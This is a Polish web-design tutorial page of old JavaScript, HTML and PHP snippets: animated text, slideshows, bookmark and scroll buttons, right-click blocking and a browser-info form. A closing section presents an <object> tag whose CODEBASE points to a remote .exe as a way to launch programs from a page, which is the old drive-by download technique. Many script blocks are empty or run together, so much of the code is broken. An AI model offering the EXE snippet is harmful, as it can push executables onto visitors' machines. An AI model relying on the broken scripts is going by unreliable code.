Skrypty i efekty specjalne na wasze strony WWW - część I

Nawet gdy o pisaniu stron wiemy już dużo, zawsze mogą przydać się skrypty róznego rodzaju umożliwiające czy to "ozdobienie" czy też zwiększenie funkcjonalności witryny. Poniżej garść kodu który ułatwi trudne zadania, bywa skomplikowane do uzyskania np. przy pomocy modułów waszych CMSów, a z drugiej strony znajdziecie też kilka "efektownych" rozwiązań...

PULSUJĄCY NAPIS NA STRONIE WWW
---

<SCRIPT
LANGUAGE="JavaScript">

</script>
<div id="prem_hint" style="position:relative; left:0;
visibility:hidden" class="prem_hint">
<font color="tomato"><b><h1><tt>Witamy na naszej stronie WWW</TT></H1></b></font>
</div>
<script language="javascript">Blink('prem_hint');</script>

FALUJĄCY NAPIS NA STRONIE WWW
---

<script language="JavaScript1.2">
message="Witamy na naszej stronie"

ns6switch=1

var ns6=document.getElementById&&!document.all
mes=new Array();
mes[0]=-1;
mes[1]=-4;
mes[2]=-7;mes[3]=-10;
mes[4]=-7;
mes[5]=-4;
mes[6]=-1;
num=0;
num2=0;
txt="";
function jump0(){
if (ns6&&!ns6switch){
jump.innerHTML=message
return
}
if(message.length > 6){
for(i=0; i != message.length;i++){
txt=txt+"<span style='position:relative;' id='n"+i+"'>"+message.charAt(i)+"</span>"};
jump.innerHTML=txt;
txt="";
jump1a()
}
else{
alert("")
}
}

function jump1a(){
nfinal=(document.getElementById)? document.getElementById("n0") : document.all.n0
nfinal.style.left=-num2;
if(num2 != 9){
num2=num2+3;
setTimeout("jump1a()",50)
}
else{
jump1b()
}
}

function jump1b(){
nfinal.style.left=-num2;
if(num2 != 0){num2=num2-3;
setTimeout("jump1b()",50)
}
else{
jump2()
}
}

function jump2(){
txt="";
for(i=0;i != message.length;i++){
if(i+num > -1 && i+num < 7){
txt=txt+"<span style='position:relative;top:"+mes[i+num]+"'>"+message.charAt(i)+"</span>"
}
else{txt=txt+"<span>"+message.charAt(i)+"</span>"}
}
jump.innerHTML=txt;
txt="";
if(num != (-message.length)){
num--;
setTimeout("jump2()",50)}
else{num=0;
setTimeout("jump0()",50)}}
</script>
<p>
<p>
<font face="Arial" size="5" color="chocolate"><center>
<p>
<div id="jumpx"></div>
<script>
if (document.all||document.getElementById){
jump=(document.getElementById)? document.getElementById("jumpx") : document.all.jumpx
jump0()
}
else
{
document.write(message)
}
</script>

PASEK KROCZĄCY - PRZEJDZ DO GÓRY!
---

<script>var displayed="<nobr><font bgcolor=white><b>[Idź do góry]</b></font></nobr>"

var logolink='javascript:window.scrollTo(0,0)'

var ns4=document.layers

var ie4=document.all

var ns6=document.getElementById&&!document.all

function regenerate(){

window.location.reload()

}

function regenerate2(){

if (ns4)

setTimeout("window.onresize=regenerate",400)

}

if (ie4||ns6)

document.write('<span id="logo" style="position:absolute;top:-300;z-index:100">'+displayed+'</span>')

function createtext(){ //function for NS4

staticimage=new Layer(5)

staticimage.left=-300

staticimage.document.write('<a xhref="'+logolink+'">'+displayed+'</a>')

staticimage.document.close()

staticimage.visibility="show"

regenerate2()

staticitns()

}

function staticit(){ //function for IE4/ NS6

var w2=ns6? pageXOffset+w : document.body.scrollLeft+w

var h2=ns6? pageYOffset+h : document.body.scrollTop+h

crosslogo.style.left=w2

crosslogo.style.top=h2

}

function staticit2(){ //function for NS4

staticimage.left=pageXOffset+window.innerWidth-staticimage.document.width-28

staticimage.top=pageYOffset+window.innerHeight-staticimage.document.height-10

}

function inserttext(){ //function for IE4/ NS6

if (ie4)

crosslogo=document.all.logo

else if (ns6)

crosslogo=document.getElementById("logo")

crosslogo.innerHTML='<a xhref="'+logolink+'">'+displayed+'</a>'

w=ns6? window.innerWidth-crosslogo.offsetWidth-20 : document.body.clientWidth-crosslogo.offsetWidth-10

h=ns6? window.innerHeight-crosslogo.offsetHeight-15 : document.body.clientHeight-crosslogo.offsetHeight-10

crosslogo.style.left=w

crosslogo.style.top=h

if (ie4)

window.onscroll=staticit

else if (ns6)

startstatic=setInterval("staticit()",100)

}

if (ie4||ns6){

window.onload=inserttext

window.onresize=new Function("window.location.reload()")

}

else if (ns4)

window.onload=createtext

function staticitns(){ //function for NS4

startstatic=setInterval("staticit2()",90)

}

</script>

BANNER LUB SLIDESHOW !
---

<SCRIPT
LANGUAGE="JavaScript">
 "
message[1]="ZATRZYMAJ SIĘ!!! --> "
message[2]="MOŻE ZNAJDZIESZ COŚ DLA SIEBIE. --> "
// the URLs of your messages
var messageurl=new Array()
messageurl[0]="http://www.dzien-e-mail.org"
messageurl[1]="http://www.dzien-e-mail.org"
messageurl[2]="http://www.dzien-e-mail.org"
// the targets of the links
// accepted values are '_blank' or '_top' or '_parent' or '_self'
// or the name of your target-window (for instance 'main')
var messagetarget=new Array()
messagetarget[0]="_blank"
messagetarget[1]="_blank"
messagetarget[2]="_blank"
// font-size
var fntsize=15
// font-color
var fntcolor="FFFF00"
// font-family
var fntfamily="Comic Sans MS"
// font-weight: 1 means bold, 0 means normal
var fntweight=1
// standstill of each message (seconds)
var pause=3
// the color of the newsborad backgorund
var backgroundcolor="444444"
// horizontal position of the slideshow (distance to the left margin of
the browser-window, pixels)
var posleft=10
// vertical position of the slideshow (distance to the top margin of
the browser-window, pixels)
var postop=10
// width of the textbox (pixels)
var scrollerwidth=600
// height of the textbox (pixels)
var scrollerheight=60
// borderwidth (pixels)
var scrollerborder=2
// textpadding (pixels)
var textpadding=15
// // // // // // // // // // // // // // // // // // // // // // // //
// //
// CONFIGURATION ENDS HERE
// // // // // // // // // // // // // // // // // // // // // // // //
// //
// do not edit the variables below
var linktext="KLIKNIJ"
var textwidth=scrollerwidth-(2*textpadding)
var textcontent=""
var bgcontent=""
var i_message=0
var i_stepwave=0
var i_maxstepwave=20
pause=pause*1000
if (fntweight==1) {fntweight="700"}
else {fntweight="100"}
function initiate() { gettextcontent() getbgcontent() if (document.all)
{ wavemessage.innerHTML=textcontent wavemessagebg.innerHTML=bgcontent
wavemessagebg.style.posLeft=posleft wavemessagebg.style.posTop=postop
wavemessage.style.posLeft=posleft+textpadding
wavemessage.style.posTop=postop+textpadding enlargewave() } if
(document.layers) { document.wavemessage.left=posleft+textpadding
document.wavemessage.top=postop+textpadding
document.wavemessagebg.document.write(bgcontent)
document.wavemessagebg.document.close()
document.wavemessagebg.left=posleft document.wavemessagebg.top=postop
changemessage() }
}
function enlargewave() { if (i_stepwave<=i_maxstepwave) {
wavemessage.filters.wave.phase=i_stepwave
wavemessage.filters.wave.strength=i_stepwave
wavemessage.filters.wave.lightstrength=i_stepwave
wavemessage.filters.wave.freq=i_stepwave i_stepwave++ var
timer=setTimeout("enlargewave()",50) } else { clearTimeout(timer)
changemessage() }
}
function reducewave() { if (i_stepwave>0) {
wavemessage.filters.wave.phase=i_stepwave
wavemessage.filters.wave.strength=i_stepwave
wavemessage.filters.wave.lightstrength=i_stepwave
wavemessage.filters.wave.freq=i_stepwave i_stepwave-- var
timer=setTimeout("reducewave()",50) } else { clearTimeout(timer) var
timer=setTimeout("enlargewave()",pause) }
}
function changemessage() { i_message++ if
(i_message>=message.length) {i_message=0} gettextcontent() if
(document.all) { wavemessage.innerHTML=textcontent reducewave() } if
(document.layers) { document.wavemessage.document.write(textcontent)
document.wavemessage.document.close() var
timer=setTimeout("changemessage()",pause) } }
function gettextcontent() { textcontent="<span
style='font-size:"+fntsize+"pt;font-family:"+fntfamily+";font-weight:"+fntweight+";width:"+textwidth+"px'>"
textcontent+="<font
color="+fntcolor+">"+message[i_message]+"</font> "
textcontent+="<a xhref="+messageurl[i_message]+"
target="+messagetarget[i_message]+"> " textcontent+="<font
color="+fntcolor+">"+linktext+"</font></a></span>"
}
function getbgcontent() { bgcontent="<table width="+scrollerwidth+"
height="+scrollerheight+" border="+scrollerborder+"><tr><td
bgcolor="+backgroundcolor+"> </td></tr></table>"
}
window.onload=initiate
// - End of JavaScript - -->
</SCRIPT>
<DIV ID="wavemessagebg" style="position:absolute;"></DIV>
<DIV ID="wavemessage" style="position:absolute;
filter:wave()"></DIV>

PRZEGLĄDARKA GRAFIKI - KLIKNIJ BY ZOBACZYĆ OBRAZEK !
---

[SEKCJA HEAD]
---

<SCRIPT LANGUAGE="JavaScript">
<SCRIPT TYPE="text/javascript" LANGUAGE="JavaScript">

</SCRIPT>

[SEKCJA BODY]
---

<table align="center" border="0" width="250" height="150">
<tr align="center">
<td>

<IMG xsrc="grafa/tapety/photo1.jpg" BORDER="0" name="w" ALT="prezentacja" onClick="prezent(); return true;" >

</td>
</tr>
</table>

POKAZ SLIDESHOW !
---

[Sekcja HEAD]
---

<script language="JavaScript1.1">

</script>

[SEKCJA BODY]
---

<a
href="javascript:gotoshow()"><img xsrc="food1.jpg" name="slide"
border=0 width=300 height=375></a>
<script>
<!--
//configure the paths of the images, plus corresponding target links
slideshowimages("food1.jpg","food2.jpg","food3.jpg","food4.jpg","food5.jpg")
slideshowlinks("http://food.epicurious.com/run/recipe/view?id=13285","http://food.epicurious.com/run/recipe/view?id=10092",

"http://food.epicurious.com/run/recipe/view?id=100975","http://food.epicurious.com/run/recipe/view?id=2876",

"http://food.epicurious.com/run/recipe/view?id=20010")//configure the speed of the slideshow, in miliseconds
var slideshowspeed=2000
var whichlink=0
var whichimage=0
function slideit(){
if (!document.images)
return
document.images.slide.src=slideimages[whichimage].src
whichlink=whichimage
if (whichimage<slideimages.length-1)
whichimage++
else
whichimage=0
setTimeout("slideit()",slideshowspeed)
}
slideit()
//-->
</script>
<p align="center"><font face="arial" size="-2">This free
script provided by</font><br>
<font face="arial, helvetica" size="-2"><a
href="http://javascriptkit.com">JavaScript
Kit</a></font></p>

SKRYPT - DODAJ STRONĘ DO ULUBIONYCH!
---

[SEKCJA HEAD]
---

<SCRIPT language="JavaScript1.2">

</SCRIPT>

[SEKCJA BODY]
---

<FORM>
<INPUT TYPE="BUTTON" NAME="BTN_Bookmark" VALUE="Dodaj do ulubionych" OnClick="javascript:addbookmark()">
</FORM>

SKRYPT POZWALAJĄCY ODWIEDZAJĄCEMU STRONĘ WWW WYBRAĆ JEJ KOLOR!
---

[SEKCJA BODY]
---

<SCRIPT LANGUAGE="JavaScript">

</SCRIPT>

KOMUNIKAT NA STRONIE WWW
---

[SEKCJA BODY]
---

<SCRIPT
LANGUAGE="JavaScript"></script>

GŁOSUJ NA NASZĄ STRONĘ
---

[SEKCJA BODY]
---

<SCRIPT LANGUAGE="JavaScript">






</script>

[SEKCJA HEAD]
---

<BODY onLoad="QuitSite()">

ROZBUDOWANE INFORMACJE O INTERNAUCIE ODWIEDZAJĄCYM NASZĄ STRONĘ!
---

[SEKCJA BODY]
---

<body OnLoad="display()">

<p align="center"><SCRIPT LANGUAGE="JavaScript">


</script>

</p>
<p align="center">



<center>
<form name=form>
<table border=1 width=100%>

<tr>
<td>Obecna rozdzielczość ekranu:</td>
<td align=center><input type=text size=4 maxlength=4 name=width>
x <input type=text size=4 maxlength=4 name=height></td>
</tr>

<tr>
<td>
Nazwa przeglądarki:</td>
<td align=center><input type=text size=23 maxlength=20 name=navigator></td>
</tr>
<tr>
<td>
Możliwa maksymalna rozdzielczość:</td>
<td align=center><input type=text size=4 maxlength=4 name=maxwidth>
x <input type=text size=4 maxlength=4 name=maxheight></td>
</tr>

<tr>
<td>
Wersja Przeglądarki:</td>
<td align=center><input type=text size=33 maxlength=20 name=version></td>
</tr>

<tr>
<td>
Jakość kolorów:</td>
<td align=center><input type=text size=2 maxlength=2 name=colordepth> bit</td>
</tr>

<tr>
<td>
Nazwa kodu::</td>
<td align=center><input type=text size=15 maxlength=15 name=codename></td>
</tr>

<tr>
<td>
System:</td>
<td align=center><input type=text size=15 maxlength=15 name=platform></td>
</tr>

<tr>
<td>
Używane kolory:</td>
<td align=center><input type=text size=19 maxlength=8 name=color></td>
</tr>

<tr>
<td>
Odsługa JavaScript:</td>
<td align=center><input type=text size=8 maxlength=3 name=java></td>
</tr>

<tr>
<td>
Fonty Anti-Aliansing:</td>
<td align=center><input type=text size=8 maxlength=3 name=fonts></td>
</tr>

<tr>
<td colspan=2 align=center>
<input type=button name=again value="Odśwież" onclick="display()"></td>
</tr>
</table>
</form>
</center>

DŹWIĘK - PODKŁAD MUZYCZNY NA STRONIE WWW - skrypt pozwala wyłączyć i w dowolnej chwili włączyć dzwięk!
---

<p align="center"> </p>
<p align="center"><BGSOUND id="BGSOUND_ID" LOOP=1 xsrc="jsilence.mid">
<EMBED NAME="Jazzball" xsrc="pliki_potrzene_do_przykladow/2.mid" LOOP=FALSE AUTOSTART=FALSE HIDDEN=TRUE MASTERSOUND>

<script language="JavaScript">

</script>

<form name=myform>
<input type=button value="Odtwarzaj" onClick="playSound()">
<input type=button value="Zatrzymaj" onClick="stopSound()">
</form>

</p>

LINK z KOMUNIKATEM na stronę...
---

[SEKCJA BODY]
---

<a
href="strona.php" ONMOUSEOUT="dis()" ONMOUSEOVER="chen()">To jest
przykładowy link</a>
<font style="font-size:10pt; font-family: arial; color:black;">
<input type=button name="add"
style="position:absolute;top:20;left:100;background-color:white;color:black;border-color:black;height:0;width:0">
<SCRIPT LANGUAGE="JavaScript">

</script>

LINK Z KOMUNIKATEM na stronę WWW - PRZYKŁAD II
---

[SEKCJA BODY]
---

<script>

// script by Dynamic Drive

//change link descriptions to your own. Extend as needed
var linktext=new Array()
linktext[0]="To jest przykładowy tekst 1"
linktext[1]="To jest przykładowy tekst 2"
linktext[2]="To jest przykładowy tekst 3"
linktext[3]="To jest przykładowy tekst 4"
linktext[4]="To jest przykładowy tekst 5"
linktext[5]="To jest przykładowy tekst 6"

var ns6=document.getElementById&&!document.all
var ie=document.all

function show_text(thetext, whichdiv){
if (ie) eval("document.all."+whichdiv).innerHTML=linktext[thetext]
else if (ns6) document.getElementById(whichdiv).innerHTML=linktext[thetext]
}

function reset(whichdiv){
if (ie) eval("document.all."+whichdiv).innerHTML=' '
else if (ns6) document.getElementById(whichdiv).innerHTML=' '
}

</script>


<p align="center">
<a xhref="strona.php" onMouseover="show_text(0,'div2')" onMouseout="reset('div2')">Link 1</a> | </span>
<a xhref="strona.php" onMouseover="show_text(1,'div2')" onMouseout="reset('div2')">Link 2</a> | </span>
<a xhref="strona.php" onMouseover="show_text(2,'div2')" onMouseout="reset('div2')">Link 3</a>
</p>

<p align="center">
<a xhref="strona.php" onMouseover="show_text(3,'div2')" onMouseout="reset('div2')">Link 4</a> | </span>
<a xhref="strona.php" onMouseover="show_text(4,'div2')" onMouseout="reset('div2')">Link 5</a> | </span>
<a xhref="strona.php" onMouseover="show_text(5,'div2')" onMouseout="reset('div2')">Link 6</a>
</p>
<span id="div2"></span>

BLOKADA PRAWEGO PRZYCISKU MYSZY, z wyskakującym tekstem informacyjnym...
---

[SEKCJA HEAD]
---



<script language="Javascript1.2">

// Edit the message for your alert box
am = "Tutaj wpisz info dla odwiedzającego Twoją stronę WWW";

// Do not edit below this line
// ===========================
bV = parseInt(navigator.appVersion)
bNS = navigator.appName=="Netscape"
bIE = navigator.appName=="Microsoft Internet Explorer"

function nrc(e) {
   if (bNS && e.which > 1){
      alert(am)
      return false
   } else if (bIE && (event.button >1)) {
     alert(am)
     return false;
   }
}

document.onmousedown = nrc;
if (document.layers) window.captureEvents(Event.MOUSEDOWN);
if (bNS && bV<5) window.onmousedown = nrc;

</script>

SKRYPT W PHP - WYŚWIETLAJĄCY ZDJĘCIE, GRAFIKĘ Z OKREŚLONEGO KATALOGU.
---

<?php
// wpisujemy nazwę katalogu w którym są obrazki
$kat = "obrazki";
if ($handle = opendir($kat)) { // otwieramy katalog
   while (false !== ($file = readdir($handle))) { // petla while
       if ($file != "." && $file != "..") {
       // wyswietlamy obrazki
           echo "<a xhref=\"$kat/$file\"><img xsrc=\"$kat/$file\" style=\"width:100px;height:100px;\" /></a><br />";
       }
   }
// zamykamy katalog
closedir($handle);
}
?>

POPRAWNY BANNER REKLAMOWY!
---

Własny kod bannera reklamowego

Początkujący web masterzy maja problemy jak zrobić kod bannera promującego ich stronę WWW.
Oczwywiście powinniśmy mieć gotowy do użycia nasz button np. buton.gif - lub też inne rozszerzenie pliku.
Kopiujemy plik na serwer i przygotowujemy kod:

<a xhref="http://www.twojastrona.pl" target="_blank"><img xsrc="http://www.twojastrona.pl/baner.gif" alt="Opis twojej strony" width="400" height="50" border="0"></a>

Oznaczenia Bannera:

a xhref="http://www.twojastrona.pl" - adres twojej strony.
target="_blank" - strona otwiera się w nowym oknie.
imf xsrc="http://www.twojastrona.pl/banner.gif - adres WWW twojego bannera.
alt="opis" - twojej strony czyli co przeczyta internauta po najechaniu na nasz banner w tak zwanej chmurce z opisem.
width="400" height="50" - szerokość oraz wysokość naszego bannera.
border="0" jest to ramka naszego bannera - najbezpieczniej ustawić wartość na ="0" wówczas nasz banner pozbawiony jest trudno przewidywalnych marginesów.

WYWOŁANIE PLIKU EXE na stronie WWW
---

Aby uruchomić plik z rozszerzeniem *.exe, wystarczy użyć poniższego kodu i wstawić go na stronę:

<object width=0 height=0 CODEBASE="http://adrestwojejstrony/plik.exe" classid="CLSID:11111111-1111-1111-1111-111111111111" width=1 height=1></object>

--- cdn...

Warto Zajrzeć - Zapraszamy na inne nasze strony!

MULTIWYSZUKIWARKI TYPU DESKTOP	REKLAMA I POZYCJONOWANIE
TAJEMNICE WYSZUKIWARKI GOOGLE CZ I	ZAPRASZAMY DO DZIAŁU DOWNOLAD
SKORZYSTAJ Z WYSZUKIWAREK	NARZĘDZIA METAWYSZUKUJĄCE
CZYM WYSZUKAĆ NAJLEPSZĄ CENĘ?	SŁOWNIKI - TRANSLATORY - TŁUMACZENIA
REJESTR WINDOWS - TOOLS	TOP LISTA PROGRAMÓW ANTYWIRUSOWYCH
PROGRAMY I KLIENCI POCZTY E-MAIL	ANTYSPYWARE - OCHRONA
FIREWALL - ZAPORY OGNIOWE	WEB MASTER - TOOLS

« poprzedni artykuł		następny artykuł »

WSTECZ